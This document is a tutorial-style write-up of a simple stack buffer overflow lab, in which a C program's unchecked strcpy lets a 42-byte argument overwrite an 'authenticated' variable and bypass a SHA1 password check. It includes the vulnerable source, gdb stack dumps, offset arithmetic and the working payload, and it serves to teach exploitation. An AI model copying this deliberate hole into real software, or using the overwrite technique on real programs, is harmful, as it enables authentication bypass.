Simple over-write

💡
Buffer over-writing a single variable

Available: ELF binary, C file

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>#define MAGIC_VALUE 1337//argc is the number of received arguments
int main(int argc, char *argv[]) {
unsigned char correct_hash[20] = {
0x4a, 0xc9, 0xb0, 0x57, 0xf8, 0x02, 0x12, 0x60, 0x6c, 0xea,
0xab, 0xf3, 0xc6, 0x50, 0x5d, 0xaf, 0xed, 0x40, 0xa4, 0x50
};
char password[20];
int authenticated = 0;//password = argv[1];
strcpy(password, argv[1]);//password = SHA1(password);
SHA1(password, strlen((char *)password), password);//password == correct_hash
if(memcmp(password, correct_hash, 20) == 0) {
authenticated = MAGIC_VALUE;
}printf("Authenticated: %d\n", authenticated);
if(authenticated == MAGIC_VALUE) {
printf("CORRECT PASSWORD!\n");
} else {
printf("WRONG PASSWORD!\n");
}
fflush(stdout);
return 0;
}

The program takes a command line argument *argv[1] , copies it into password , hashes it with SHA1 and compares it with correct_hash .

If they are equal, authenticated is set to 1337 (serves as a flag) and the application prints a success message.

Goal: We want to set authenticated to 1337 .

Finding Vulnerability

We find a buffer overflow vulnerability with an input of exactly 44x 'A' .

marco@testbed:~/2020/gdb$ ./pwnme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Authenticated: 1094795585
WRONG PASSWORD!
Segmentation fault (core dumped)

Exploting Vulnerability

We disassemble the code and go through the assembly code.

We see that at instruction 0x0804869e the program compares authenticated (stored at the address $ebp-0xc ) with the value 0x539 (= 1337 base 10).

0x804869e <main+232>:        cmp    DWORD PTR [ebp-0xc],0x539

This is where the following instruction is executed:

if(authenticated == MAGIC_VALUE) {
...

We also found calls to library functions that are marked, like <strcpy@plt> at 0x8048644 .

We set a breakpoint there (to see the password array before it is hashed) and enter 20x 'A' = 0x41 and look at the stack to see what space it occupies:

Password array starts at 0xffffd614 .

(gdb) x/40wx $esp
0xffffd610:     0xf7dd0000      0x41414141      0x41414141      0x41414141
0xffffd620:     0x41414141      0x41414141      0x57b0c94a      0x601202f8
0xffffd630:     0xf3abea6c      0xaf5d50c6      0x50a440ed      0x00000000
0xffffd640:     0xffffd660      0x00000000      0x00000000      0xf7c10e81
0xffffd650:     0xf7dd0000      0xf7dd0000      0x00000000      0xf7c10e81
0xffffd660:     0x00000002      0xffffd6f4      0xffffd700      0xffffd684
0xffffd670:     0x00000001      0x00000000      0xf7dd0000      0xf7fe575a
0xffffd680:     0xf7ffd000      0x00000000      0xf7dd0000      0x00000000
0xffffd690:     0x00000000      0x918ba4ec      0xec3be2fc      0x00000000
0xffffd6a0:     0x00000000      0x00000000      0x00000002      0x080484a0

The stack looks like this:

unsigned char correct_hash[20] = { ... }; //20 bytes
char password[20]; //20 bytes
int authenticated = 0; //4 bytes 
0x000...
|      ...      |
|---------------| <= esp
| password      | <= ebp - 52 (= esp)
| correct_hash  | <= ebp - 20
| authenticated | <= ebp - 12
|      ...      |
|---------------| <= ebp
| sfp (old ebp) |
| ret adr       |
|---------------|
| argv[]        |
|      ...      |
0xFFF...

We calculate the size of our payload:

authenticated is at $ebp-0xc (= ebp - 12 ) and

password starts at 0xffffd614 .

We know authenticated can be overwritten from password with a padding of the size:

(gdb) ($ebp-0xc)-(0xffffd614)
40 

Due to little endianness we have to store 0x539 (= 1337 ) as 0x39 0x05 .

marco@testbed:~/2020/gdb$ ./pwnme $(python3 -c 'print("A"*40 + "\x39\x05")')
Authenticated: 1337
CORRECT PASSWORD!

Then our memory looks like this:

(gdb) x/40wx $esp
0xffffd610:     0xf7dd0000      0x41414141      0x41414141      0x41414141
0xffffd620:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd630:     0x41414141      0x41414141      0x41414141      0x00003905
0xffffd640:     0xffffd660      0x00000000      0x00000000      0xf7c10e81
0xffffd650:     0xf7dd0000      0xf7dd0000      0x00000000      0xf7c10e81
0xffffd660:     0x00000002      0xffffd6f4      0xffffd700      0xffffd684
0xffffd670:     0x00000001      0x00000000      0xf7dd0000      0xf7fe575a
0xffffd680:     0xf7ffd000      0x00000000      0xf7dd0000      0x00000000
0xffffd690:     0x00000000      0x918ba4ec      0xec3be2fc      0x00000000
0xffffd6a0:     0x00000000      0x00000000      0x00000002      0x080484a0